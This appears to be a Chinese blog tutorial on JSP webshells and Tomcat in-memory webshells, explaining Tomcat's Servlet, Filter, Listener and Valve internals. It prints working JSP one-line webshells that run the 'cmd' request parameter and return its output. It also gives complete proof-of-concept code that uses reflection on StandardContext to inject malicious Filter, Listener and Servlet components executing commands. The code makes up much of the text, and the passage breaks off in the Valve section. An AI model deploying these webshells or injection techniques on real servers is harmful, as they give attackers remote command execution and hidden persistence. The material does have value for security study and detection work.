JSP木马 1 2 3 JSP是Java的一种动态网页技术。在早期Java的开发技术中,Java程序员如果想要向浏览器输出一些数据,就必须得手动println一行行的HTML代码。为了解决这一繁琐的问题,Java开发了JSP技术。 JSP可以看作一个Java Servlet,主要用于实现Java web应用程序的用户界面部分。网页开发者们通过结合HTML代码、XHTML代码、XML元素以及嵌入JSP操作和命令来编写JSP。 当第一次访问JSP页面时,Tomcat服务器会将JSP页面翻译成一个java文件,并将其编译为.class文件。JSP通过网页表单获取用户输入数据、访问数据库及其他数据源,然后动态地创建网页
文件格式如下,这里也有点像html等前端语言
这里也等价于xml语言中的
1 2 3 <jsp:scriptlet> 代码片段 </jsp:scriptlet>
一个简单的用法
1 2 3 4 5 6 7 8 9 10 11 <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>Title</title> </head> <body> <h2>test1</h2> <% String name="hello world" ;%> <% out.println(name); %> </body> </html>
JSP指令用来设置与整个JSP页面相关的属性。下面有三种JSP指令
指令描述<%@ page … %>定义页面的依赖属性,比如脚本语言、error页面、缓存需求等等<%@ include … %>包含其他文件<%@ taglib … %>引入标签库的定义,可以是自定义标签
JSP的注释
JSP内置对象
1 2 3 4 5 JSP有九大内置对象,他们能够在客户端和服务器端交互的过程中分别完成不同的功能。其特点如下 由 JSP 规范提供,不用编写者实例化 通过 Web 容器实现和管理 所有 JSP 页面均可使用 只有在脚本元素的表达式或代码段中才能使用
对象类型描述requestjavax.servlet.http.HttpServletRequest获取用户请求信息responsejavax.servlet.http.HttpServletResponse响应客户端请求,并将处理信息返回到客户端responsejavax.servlet.jsp.JspWriter输出内容到 HTML 中sessionjavax.servlet.http.HttpSession用来保存用户信息applicationjavax.servlet.ServletContext所有用户共享信息configjavax.servlet.ServletConfig这是一个 Servlet 配置对象,用于 Servlet 和页面的初始化参数pageContextjavax.servlet.jsp.PageContextJSP 的页面容器,用于访问 page、request、application 和 session 的属性pagejavax.servlet.jsp.HttpJspPage类似于 Java 类的 this 关键字,表示当前 JSP 页面exceptionjava.lang.Throwable该对象用于处理 JSP 文件执行时发生的错误和异常;只有在 JSP 页面的 page 指令中指定 isErrorPage 的取值 true 时,才可以在本页面使用 exception 对象
下面一个简单的一句话木马例子,但是是无回显的
1 2 3 4 5 6 <% String cmd = request.getParameter("cmd" ); if (cmd!=null ){ Runtime.getRuntime().exec(cmd); } %>
下面是有回显的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import ="java.io.BufferedReader" %> <%@ page import ="java.io.InputStreamReader" %> <%@ page import ="java.io.PrintWriter" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% if (request.getParameter("cmd" )!=null ){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd" )).getInputStream(); BufferedReader bufferedReader = new BufferedReader (new InputStreamReader (in)); String line; PrintWriter printWriter = response.getWriter(); printWriter.write("<pre>" ); while ((line = bufferedReader.readLine()) != null ){ printWriter.println(line); } printWriter.write("</pre>" ); } %>
Tomcat框架学习 相关链接:https://goodapple.top/archives/1359
这里其实是javaweb的知识体系,在配置一个web项目时,一般多采用Tomcat来搭建,这里可以把Tomcat看成是Web服务器+Servlet容器
Tomcat能够通过Connector组件接收并解析HTTP请求,然后将一个ServletRequest对象发送给Container处理。容器处理完之后会将响应封装成ServletRespone返回给Connector,然后Connector再将ServletRespone解析为HTTP响应文本格式发送给客户端,至此Tomcat就完成了一次网络通信
下面是Tomcat框架图:
由整个图可以看出来Tomcat Server的组成可以分为3个,Service Connector Container
在Container里面包含四种子容器:Engine、Host、Context和Wrapper
1 2 3 4 Engine: 可以看成是容器对外提供功能的入口,每个Engine是Host的集合,用于管理各个Host Host: 可以看成一个虚拟主机,一个Tomcat可以支持多个虚拟主机。 Context: 又叫做上下文容器,我们可以将其看成一个Web应用,每个Host里面可以运行多个Web应用。同一个Host里面不同的Context,其contextPath必须不同,默认Context的contextPath为空格(“”)或斜杠(/) Wrapper: 是对Servlet的抽象和包装,每个Context可以有多个Wrapper,用于支持不同的Servlet每个Wrapper实例表示一个具体的Servlet定义,Wrapper主要负责管理 Servlet ,包括的 Servlet 的装载、初始化、执行以及资源回收
JavaWeb三大组件 这里简单介绍一下
Servlet
Servlet是用来处理客户端请求的动态资源,当Tomcat接收到来自客户端的请求时,会将其解析成RequestSerclet对象并发送到对应的Servlet上进行处理
1 2 3 4 5 6 Servlet的生命周期分为如下五个阶段 加载:当Tomcat第一次访问Servlet的时候,Tomcat会负责创建Servlet的实例 初始化:当Servlet被实例化后,Tomcat会调用init()方法初始化这个对象 处理服务:当浏览器访问Servlet的时候,Servlet 会调用service()方法处理请求 销毁:当Tomcat关闭时或者检测到Servlet要从Tomcat删除的时候会自动调用destroy()方法,让该实例释放掉所占的资源。一个Servlet如果长时间不被使用的话,也会被Tomcat自动销毁 卸载:当Servlet调用完destroy()方法后,等待垃圾回收。如果有需要再次使用这个Servlet,会重新调用init()方法进行初始化操作
Filter
Filter用于拦截用户请求以及服务端的响应,能够在拦截之后对请求和响应做出相应的修改。Filter不是Servlet,不能直接访问,它能够对于Web应用中的资源(Servlet、JSP、静态页面等)做出拦截,从而实现一些相应的功能。下面是Filter在Server中的调用流程图
Listener
Listener是一个实现了特定接口的Java程序,用于监听一个方法或者属性,当被监听的方法被调用或者属性改变时,就会自动执行某个方法。
1 2 3 4 下面有几个与Listener相关的概念 事件:某个方法被调用,或者属性的改变 事件源:被监听的对象(如ServletContext、requset、方法等) 监听器:用于监听事件源,当发生事件时会触发监听器
监听器的分类
监听器一共有如下8种
事件源监听器描述ServletContextServletContextListener用于监听 ServletContext 对象的创建与销毁过程HttpSessionHttpSessionListener用于监听 HttpSession 对象的创建和销毁过程ServletRequestServletRequestListener用于监听 ServletRequest 对象的创建和销毁过程ServletContextServletContextAttributeListener用于监听 ServletContext 对象的属性新增、移除和替换HttpSessionHttpSessionAttributeListener用于监听 HttpSession 对象的属性新增、移除和替换ServletRequestServletRequestAttributeListener用于监听 HttpServletRequest 对象的属性新增、移除和替换HttpSessionHttpSessionBindingListener用于监听 JavaBean 对象绑定到 HttpSession 对象和从 HttpSession 对象解绑的事件HttpSessionHttpSessionActivationListener用于监听 HttpSession 中对象活化和钝化的过程
这里三者的加载顺序
1 Listener->Filter->Servlet
前置知识
根据Tomcat的三大件servlet、linstener、filter注入内存马,Servlet在3.0版本之后能够支持动态注册组件。而Tomcat直到7.x才支持Servlet3.0,因此通过动态添加恶意组件注入内存马的方式适合Tomcat7.x及以上 调式时候需要导入对应tomcat版本的jar包
Tomcat内存马 相关链接:https://yyjccc.github.io/2024/03/06/Tomcat%E5%86%85%E5%AD%98%E9%A9%AC/
前置知识
根据Tomcat的三大件servlet、linstener、filter注入内存马,Servlet在3.0版本之后能够支持动态注册组件。而Tomcat直到7.x才支持Servlet3.0,因此通过动态添加恶意组件注入内存马的方式适合Tomcat7.x及以上
依赖
1 2 3 4 5 <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.5 .31 </version> </dependency>
根据上面的前置知识,这里可以分为Filter型,Listener型,Servlet型
Filter型 首先创建一个普通的Filter例子,前提是先创建一个对应的路由
Servlet服务
1 2 3 4 5 6 7 8 9 10 11 12 13 @WebServlet("/web1") public class web1 extends HttpServlet { @Override public void doGet (HttpServletRequest req, HttpServletResponse res) throws IOException { String name = "this is web1" ; PrintWriter out = res.getWriter(); out.println(name); } @Override public void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException{ doGet(req,res); } }
Filter服务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 @WebFilter("/web1") public class Filter1 implements Filter { @Override public void init (FilterConfig filterConfig) throws ServletException { System.out.println("Filter 初始构造完成" ); } @Override public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { System.out.println("执行了操作" ); chain.doFilter(request,response); } @Override public void destroy () { System.out.println("filter 销毁" ); } }
下面进行调试看是如何创建Filter的,java内存马的原理和python内存马的原理差不多,python是注册一个新的路由,而java可以从多处处理,这里的Filter也是一方面,在访问路由时先访问我们构造好的恶意的Filter代码,这样就可以实现内存马的作用,所以在构造前需要先搞清楚它是如何实现的
在我们的chain中已经有了filter的身影,接下来我们就可以从这里出发往前找,先看看调用栈
下面来到ApplicationFilterChain#internalDoFilter方法里面
这里存在filter的创建且filter正是chain里面的,它是通过filterConfig#getFilter方法获取,一个filterConfig对应一个Filter,用于存储Filter的上下文信息,而filterConfig是从属性filters – ApplicationFilterConfig数组中获得,但是这里还不是来源,还得往前找
上一步就来到了StandardContextValve#invoke方法里面
ApplicationFilterFactory#createFilterChain方法很关键
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 public static ApplicationFilterChain createFilterChain (ServletRequest request, Wrapper wrapper, Servlet servlet) { ApplicationFilterChain filterChain = null ; if (request instanceof Request) { Request req = (Request) request; if (Globals.IS_SECURITY_ENABLED) { filterChain = new ApplicationFilterChain (); } else { filterChain = (ApplicationFilterChain) req.getFilterChain(); if (filterChain == null ) { filterChain = new ApplicationFilterChain (); req.setFilterChain(filterChain); } } } else { filterChain = new ApplicationFilterChain (); } filterChain.setServlet(servlet); filterChain.setServletSupportsAsync(wrapper.isAsyncSupported()); StandardContext context = (StandardContext) wrapper.getParent(); FilterMap filterMaps[] = context.findFilterMaps(); String servletName = wrapper.getName(); for (FilterMap filterMap : filterMaps) { ... ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName()); ... filterChain.addFilter(filterConfig); return filterChain; } }
(这里去除了无用代码)
方法的上半段是创建一个ApplicationFilterChain对象用来放置一个个filterConfig对象,而filterConfig对象又对应一个filter对象的信息,下面分析它是如何获取filterConfig的
这里它先通过wrapper.getParent();获取StandardContext对象,下面通过StandardContext#findFilterMaps获取到各Filter的信息,及下图的filterMaps
最后就是通过遍历filterMaps通过filterMap来创建一个个filterConfig再通过filterChain.addFilter添加,这里就可以看看它是如何添加的
这里最后放到了filters数组里面,这里和后面的创建filter相照应,可以借前面的图看看
从这里也可以知道对于filter的调用是先创建的先被调用
其实到这里是从context中拿到一些属性进行操作,将filterConfig放入到FilterChain中 ,Filter内存马的思路就是,在放入FilterChain之前我们就通过反射赋值或者增加一些内容,然后tomcat就会自动的调用上面流程的代码,将恶意的filter放入filterChain,再进行调用调用其实如下图:
总之,注入内存马是在上游的操作,而上面分析的流程在下游部分
由于知道一个Filter对象是通过FilterConfig对象的信息来创建,这里就可以看看FilterConfig对象有哪些信息
这里filterConfigs包含了当前的上下文信息StandardContext、以及filterDef等信息 上下文对象StandardContext实际上是包含FilterConfigs、FilterDefs和FilterMaps了这三者的
这里先看看filterDef,这里存在几个主要的属性值,filter,filterClass,filterName
然后就是context属性里面的filterConfigs与filterDefs都是HashMap类型,里面存放的信息相同
其次是里面的filterMaps属性值里面存放的东西,以array的形式存放各filter的路径映射信息,主要的属性为filterName、urlPatterns、charset
下面就是通过上述信息,来完成一个恶意的filter创建,具体如下:
1 2 3 4 5 获取StandardContext对象 创建恶意Filter 使用FilterDef对Filter进行封装,并添加必要的属性 创建filterMap类,并将路径和Filtername绑定,然后将其添加到filterMaps中 使用ApplicationFilterConfig封装filterDef,然后将其添加到filterConfigs中
获取StandardContext对象
StandardContext对象主要用来管理Web应用的一些全局资源,如Session、Cookie、Servlet等。因此我们有很多方法来获取StandardContext对象。
Tomcat在启动时会为每个Context都创建个ServletContext对象,来表示一个Context,从而可以将ServletContext转化为StandardContext。
1 2 3 4 5 6 7 8 9 10 11 12 ServletContext servletContext = request.getSession().getServletContext(); Field appContextField = servletContext.getClass().getDeclaredField("context" );appContextField.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context" );standardContextField.setAccessible(true ); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
恶意filter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public class Filter2 implements Filter { @Override public void init (FilterConfig filterConfig) throws ServletException { System.out.println("Filter 初始构造完成" ); } @Override public void doFilter (ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { Runtime.getRuntime().exec("calc" ); filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy () { System.out.println("filter 销毁" ); } }
使用FilterDef封装** filter**
1 2 3 4 5 6 String name="eval" ; FilterDef filterDef = new FilterDef ();filterDef.setFilter(new Filter2 ()); filterDef.setFilterClass(Filter2.class.getName()); filterDef.setFilterName(name); standardContext.addFilterDef(filterDef);
创建filterMap
filterMap用于filter和路径的绑定
1 2 3 4 5 FilterMap filterMaps = new FilterMap ();filterMaps.setFilterName(name); filterMaps.setDispatcher(DispatcherType.REQUEST.name()); filterMaps.addURLPattern("/bash" ); standardContext.addFilterMap(filterMaps);
封装filterConfig及filterDef到filterConfigs
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 Field Configs = standardContext.getClass().getDeclaredField("filterConfigs" );Configs.setAccessible(true ); Map filterConfigs = (Map) Configs.get(standardContext);Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);constructor.setAccessible(true ); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);filterConfigs.put(name,filterConfig); <%! public class Filter2 implements Filter { @Override public void init (FilterConfig filterConfig) throws ServletException { System.out.println("Filter 初始构造完成" ); } @Override public void doFilter (ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { Runtime.getRuntime().exec("calc" ); filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy () { System.out.println("filter 销毁" ); } } %> <% ServletContext servletContext = request.getSession().getServletContext(); Field appContextField = servletContext.getClass().getDeclaredField("context" ); appContextField.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context" ); standardContextField.setAccessible(true ); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); %> <% String name="eval" ; FilterDef filterDef = new FilterDef (); filterDef.setFilter(new Filter2 ()); filterDef.setFilterClass(Filter2.class.getName()); filterDef.setFilterName(name); standardContext.addFilterDef(filterDef); FilterMap filterMaps = new FilterMap (); filterMaps.setFilterName(name); filterMaps.setDispatcher(DispatcherType.REQUEST.name()); filterMaps.addURLPattern("/bash" ); standardContext.addFilterMap(filterMaps); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs" ); Configs.setAccessible(true ); Map filterConfigs = (Map) Configs.get(standardContext); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true ); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name,filterConfig); %>
这里触发的条件就是先访问创建的jsp文件,如何就已经创建恶意的filter,或者直接创建一个恶意的路由,创建的方法也是一样,当然也可以注入恶意的Filter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 @WebServlet("/web1") public class web1 extends HttpServlet { @Override public void doGet (HttpServletRequest req, HttpServletResponse res) throws IOException { ServletContext servletContext = req.getSession().getServletContext(); try { Field appContext=servletContext.getClass().getDeclaredField("context" ); appContext.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appContext.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context" ); standardContextField.setAccessible(true ); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); String name="eval" ; FilterDef filterDef = new FilterDef (); filterDef.setFilter(new test1 ()); filterDef.setFilterClass(test1.class.getName()); filterDef.setFilterName(name); standardContext.addFilterDef(filterDef); FilterMap filterMaps = new FilterMap (); filterMaps.setFilterName(name); filterMaps.setDispatcher(DispatcherType.REQUEST.name()); filterMaps.addURLPattern("/bash" ); standardContext.addFilterMap(filterMaps); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs" ); Configs.setAccessible(true ); Map filterConfigs = (Map) Configs.get(standardContext); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true ); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name,filterConfig); } catch (Exception e) { throw new RuntimeException (e); } } @Override public void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException{ doGet(req,res); } }
Listener型 对于Listener型的分析和Filter型其实差不多,也是需要先知道Listener监听的创建流程,将恶意的Listener监听器创建,并且放入创建的容器即可
这里先介绍一下Listener的作用,它主要用来监听对象的创建、销毁、属性增删改,对于执行顺序的先后为Listener->Filter->Servlet依次执行
将监听的对象不同,大致可以分为下面的三类
1 2 3 ServletContextListener HttpSessionListener ServletRequestListener
综合三种Listener监听器的触发条件,还是通过ServletRequestListener更为方便
下面先创建一个简单的ServletRequestListener类,来分析其创建的过程
1 2 3 4 5 6 7 8 9 10 11 @WebListener("/*") public class eval implements ServletRequestListener { @Override public void requestDestroyed (ServletRequestEvent sre) { System.out.println("执行了Test requestDestroyed" ); } public void requestInitialized (ServletRequestEvent sre) { System.out.println("执行力Test requestInitialized" ); } }
每次刷新都会调用其requestDestroyed和requestInitialized方法
下面通过调试来获取创建时的调用栈,如下图所见
下面到达StandardContext#fireRequestInitEvent方法里面,开始回溯创建过程,这里看到listener是通过instance来获取,而instance是遍历instances数组,创建instances数组,instances数组是通过getApplicationEventListeners方法来获取,所以这里需要跟进getApplicationEventListeners方法来看看
但是跟进方法中这里就是直接返回了applicationEventListenersList数组
1 2 3 public Object[] getApplicationEventListeners() { return applicationEventListenersList.toArray(); }
下面就找有关applicationEventListenersList属性的东西,先是看到它是有关List类型
添加进applicationEventListenersList集合里面是通过StandardContext#addApplicationEventListener方法,这里就找到可以注入恶意listener的方法,因为在java中Context对象是全局共享的
下面就是获取StandardContext将恶意的listener注入,和上面注入Filter型一样,可以通过jsp,或者通过web路由来实现注入,但是这里还有其它方法来获取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();<% ServletRequestListener eval=new ServletRequestListener (){ public void requestDestroyed (ServletRequestEvent sre) { System.out.println("执行了Test requestDestroyed" ); } public void requestInitialized (ServletRequestEvent sre) { System.out.println("恶意内存马创建成功" ); try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { throw new RuntimeException (e); } } }; WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); standardContext.addApplicationEventListener(eval); %>
这里需要注意一点如果通过WebappClassLoaderBase的方式来获取StandardContext就需要通过当前环境下的特定的classloader方法,不然就无法强转为WebappClassLoaderBase,在Tomcat中可以正常通过WebappClassLoaderBase获取StandardContext就需要的是Tomcat的构造器WebappClassLoader,如果是URLClassLoader将无法正常加载,所以如果我们通过TemplatesImpl来动态注册一个listener时就无法成功
比如先创建一个恶意的类,构造方法就是注册内存马的语句
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public class cmd { public cmd () { WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); ServletRequestListener eval=new ServletRequestListener (){ public void requestDestroyed (ServletRequestEvent sre) { System.out.println("执行了Test requestDestroyed" ); } public void requestInitialized (ServletRequestEvent sre) { System.out.println("恶意内存马创建成功" ); try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { throw new RuntimeException (e); } } }; standardContext.addApplicationEventListener(eval); } public static void main (String[] args) { System.out.println("1" ); } }
创建一个web路由,如果按我们所想就应该在调用templates#getOutputProperties时,就可以加载cmd字节码并且进行实例化,从而生成恶意的listener,但是结果却没有实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 @WebServlet("/aaa") public class request extends HttpServlet { @Override public void doGet (HttpServletRequest req, HttpServletResponse res) throws IOException { String name = "this is web1" ; PrintWriter out = res.getWriter(); out.println(name); TemplatesImpl templates = new TemplatesImpl (); try { Class templatesClass = templates.getClass(); Field name1 = templatesClass.getDeclaredField("_name" ); name1.setAccessible(true ); name1.set(templates, "test" ); Field bytecodes = templatesClass.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); byte [] code= Files.readAllBytes(Paths.get("D://java/cmd.class" )); byte [][] codes={code}; Field tfactory = templatesClass.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); bytecodes.set(templates,codes); templates.getOutputProperties(); } catch (Exception e) { } } @Override public void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException{ doGet(req,res); } }
通过下面调试获取其classloader,这里是ParallelWedappClassLoader,其父类为URLClassLoader方法,这里就导致一些在Tomcat的类无法正常被加载,导致注册失败
虽然这里无法正常的实现但是还有其它方法,不仅仅只有上述方法来获取StandardContext对象,比如可以通过遍历当前的进程来实现获取,最后获取StandardContext对象
Servlet** 型**先了解一下Servlet创建流程
这里可以知道如果想要注册一个恶意的servlet内存马,最好利用是通过service方法,因为它的触发条件为请求访问时调用,下面就先创建一个恶意的servlet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 @WebServlet("/*") public class service extends HttpServlet { public void init (ServletConfig config) throws ServletException { System.out.println("init 触发" ); } public void service (ServletRequest servletRequest, ServletResponse servletResponse) { String cmd = servletRequest.getParameter("cmd" ); if (cmd!=null ){ try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { throw new RuntimeException (e); } } System.out.println("service 触发" ); } }
首先先明白一点,servlet是由上下文context创建wrapper包装,所以我们需要先了解wrapper的创建
在StandardContext#startInternal中,调用了fireLifecycleEvent()方法解析web.xml文件,我们跟进
来到fireLifecycleEvent方法里面
最终通过ContextConfig#webConfig()方法解析web.xml获取各种配置参数,里面通过调用configureContext方法来从context里面获取web.xml里面的信息,跟进去看
最后通过ContextConfig#addServletContainerInitializer来添加
下面是加载StandWrapper的过程分析
首先在StandardContext#startInternal方法里面通过findChildren()获取StandardWrapper类
下面通过loadOnStartUp()方法加载wrapper
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 public boolean loadOnStartup (Container children[]) { TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap <>(); for (Container child : children) { Wrapper wrapper = (Wrapper) child; int loadOnStartup = wrapper.getLoadOnStartup(); if (loadOnStartup < 0 ) { continue ; } Integer key = Integer.valueOf(loadOnStartup); ArrayList<Wrapper> list = map.get(key); if (list == null ) { list = new ArrayList <>(); map.put(key, list); } list.add(wrapper); } for (ArrayList<Wrapper> list : map.values()) { for (Wrapper wrapper : list) { try { wrapper.load(); } catch (ServletException e) { getLogger().error(sm.getString("standardContext.loadOnStartup.loadException" , getName(), wrapper.getName()), StandardWrapper.getRootCause(e)); if (getComputedFailCtxIfServletStartFails()) { return false ; } } } } return true ; }
在里面添加了一个if判断,其中就是对于wrapper的loadOnStartup进行判断,只有loadOnStartup大于0才可以继续往下进行加载wrapper
这里对应的实际上就是Tomcat Servlet的懒加载机制,可以通过loadOnStartup属性值来设置每个Servlet的启动顺序。默认值为-1,此时只有当Servlet被调用时才加载到内存中,所以这里需要手动的修改loadOnStartup,使其能加载到内存部分
注册动态的Servlet
1 2 3 4 5 6 7 8 获取StandardContext对象 编写恶意Servlet 通过StandardContext.createWrapper()创建StandardWrapper对象 设置StandardWrapper对象的loadOnStartup属性值 设置StandardWrapper对象的ServletName属性值 设置StandardWrapper对象的ServletClass属性值 将StandardWrapper对象添加进StandardContext对象的children属性中 通过StandardContext.addServletMappingDecoded()添加对应的路径映射
创建StandardContext
1 2 WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
下面创建恶意的Servlet类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public class Shell_Servlet implements Servlet { @Override public void init (ServletConfig config) throws ServletException { } @Override public ServletConfig getServletConfig () { return null ; } @Override public void service (ServletRequest req, ServletResponse res) throws ServletException, IOException { try { Runtime.getRuntime().exec("calc" ); }catch (IOException e){ e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } @Override public String getServletInfo () { return null ; } @Override public void destroy () { } }
下面创建wrapper并且将其放置到standardContext
1 2 3 4 5 6 7 8 9 10 11 12 WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();Shell_Servlet shell_servlet = new Shell_Servlet ();String name = shell_servlet.getClass().getSimpleName();Wrapper wrapper = standardContext.createWrapper();wrapper.setLoadOnStartup(1 ); wrapper.setName(name); wrapper.setServlet(shell_servlet); wrapper.setServletClass(shell_servlet.getClass().getName()); standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/shell" ,name);
完整的poc为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <%! public class Shell_Servlet implements Servlet { @Override public void init (ServletConfig config) throws ServletException { } @Override public ServletConfig getServletConfig () { return null ; } @Override public void service (ServletRequest req, ServletResponse res) { try { Runtime.getRuntime().exec("calc" ); }catch (IOException e){ e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } @Override public String getServletInfo () { return null ; } @Override public void destroy () { } } %> <% WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); Shell_Servlet shell_servlet = new Shell_Servlet (); String name = shell_servlet.getClass().getSimpleName(); Wrapper wrapper = standardContext.createWrapper(); wrapper.setLoadOnStartup(1 ); wrapper.setName(name); wrapper.setServlet(shell_servlet); wrapper.setServletClass(shell_servlet.getClass().getName()); standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/shell" ,name); %>
Valve型 对于tomcat的管道机制简单介绍
管道机制有一个核心的容器主键(Pipeline),它的作用是处理请求
对于从contianer中获取的请求体,需要通过使用Pipeline容器来一层一层的调用Valve闸门,这里主要通过Valve属性的invoke来对请求进行处理,并作出相应
具体流程如下图
下面就是对于Pipeline负责链调用流程的简单分析
首先看到Pipeline接口里面声明的方法,其中getNext()方法可以用来获取下一个Valve,Valve的调用过程可以理解成类似Filter中的责任链模式,按顺序调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public interface Pipeline { public Valve getBasic () ; public void setBasic (Valve valve) ; public void addValve (Valve valve) ; public Valve[] getValves(); public void removeValve (Valve valve) ; public void findNonAsyncValves (Set<String> result) ; }
再看看Valve接口里面声明的方法,其中invoke里面就是处理和响应的主体,所以在创建恶意Valve时可以通过使invoke来实现
1 2 3 4 5 6 7 8 9 10 11 12 13 public interface Valvve { public Valve getNext () ; public void setNext (Valve valve) ; public void backgroundProcess () ; public void invoke (Request request, Response response) throws IOException, ServletException; public boolean isAsyncSupported () ; }
在Tomcat中,四大组件Engine、Host、Context以及Wrapper都有其对应的Valve类,StandardEngineValve、StandardHostValve、StandardContextValve以及StandardWrapperValve,他们同时维护一个StandardPipeline实例
对于context容器里面由于需要处理请求,所以应该会有对Pipeline进行操作,下面就去找哪里会进行操作
来到CoyoteAdapter#service方法里面,当直接访问时就会调试到这里,下面就看看其调用链
它的service方法里面就提到了一个完整的调用链
首先先从connector调用到StandardEngineValve#invoke
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public final void invoke (Request request, Response response) throws IOException, ServletException { Host host = request.getHost(); if (host == null ) { response.sendError (HttpServletResponse.SC_BAD_REQUEST, sm.getString("standardEngine.noHost" , request.getServerName())); return ; } if (request.isAsyncSupported()) { request.setAsyncSupported(host.getPipeline().isAsyncSupported()); } host.getPipeline().getFirst().invoke(request, response); }
这里最后又嵌套调用下一个Value类的invoke,最后直到处理完请求
下面要找到哪里可以将恶意的Value添加进去,前面知道在Pipeline接口中存在一个addValve方法,毋庸置疑这个就是用于添加Valve的方法,对于实现Pipeline接口的类只有StandardPipeline里面存在addValve方法的实现,但是这里不能直接创建一个StandardPipeline对象,因为Pipeline 和 Valve 的使用通常需要一定的上下文环境,如果没有就会报错
所以这里的处理方式就是通过在context里面进行寻找,这里面肯定存在,或者可以找哪里调用了StandardPipeline#addValve方法,这里就也可以进行锁定类,这里面的ContainerBase里面调用了
并且它是StandardContext的父类,这个就满足了获取的条件
ContainerBase#addValve可以直接添加
或者可以通过getPipeline也可以直接获取上下文中的Pipeline对象,然后调用其中的addValve方法
下面又是获取Context的问题了,注册恶意的Valve过程
